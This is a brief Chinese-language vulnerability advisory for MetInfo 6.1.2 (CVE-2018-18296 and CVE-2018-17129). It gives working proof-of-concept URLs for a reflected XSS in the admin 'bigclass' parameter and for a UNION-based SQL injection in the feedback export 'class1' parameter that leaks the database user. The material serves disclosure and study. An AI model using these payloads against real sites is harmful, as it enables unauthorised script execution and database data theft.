Metinfo 6.1.2版本存在XSS漏洞&SQL注入漏洞
漏洞简介¶
| 漏洞名称 | 上报日期 | 漏洞发现者 | 产品首页 | 软件链接 | 版本 | CVE编号 |
|---|---|---|---|---|---|---|
| Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞 | 2018-10-12 | 踏月留香 | https://www.metinfo.cn/ | 下载地址 | 6.1.2 | CVE-2018-18296/CVE-2018-17129 |
漏洞概述¶
漏洞存在于MetInfo6.1.2/admin/index.php页面，由于参数bigclass过滤不严，导致XSS漏洞 本地搭建网站，首先登录网站后台:
http://172.16.141.134/MetInfo6.1.2/admin/，登录成功后，构造payload：http://172.16.141.134/MetInfo6.1.2/admin/index.php?lang=cn&anyid=25&n=column&c=index&a=doadd&bigclass=1%22%3e%3cscript%3ealert(/xss/)%3c%2fscript%3e，即可执行跨站脚本。
POC实现代码如下：¶
XSS漏洞的 exp代码如下：
http://127.0.0.1/MetInfo6.1.2/admin/index.php?lang=cn&anyid=25&n=column&c=index&a=doadd&bigclass=1%22%3e%3cscript%3ealert(/xss/)%3c%2fscript%3e
SQL注入漏洞的 exp代码如下：
漏洞存在于MetInfo6.1.2/app/system/feedback/admin/feedback_admin.class.php页面中，由于该页面的class1参数过滤不严，导致存在SQL注入漏洞。 本地搭建网站，首先登录网站后台:http://172.16.141.134/MetInfo6.1.2/admin/，登录成功后，构造payload：http://172.16.141.134/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1//union//select//concat(0x3a,user(),0x3a)//from/**/information_schema.tables&met_fd_export=-1，访问后网站会导出一个excel表，excel表的名称为数据库用户名。
http://127.0.0.1/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1/**/union/**/select/**/concat(0x3a,user(),0x3a)/**/from/**/information_schema.tables&met_fd_export=-1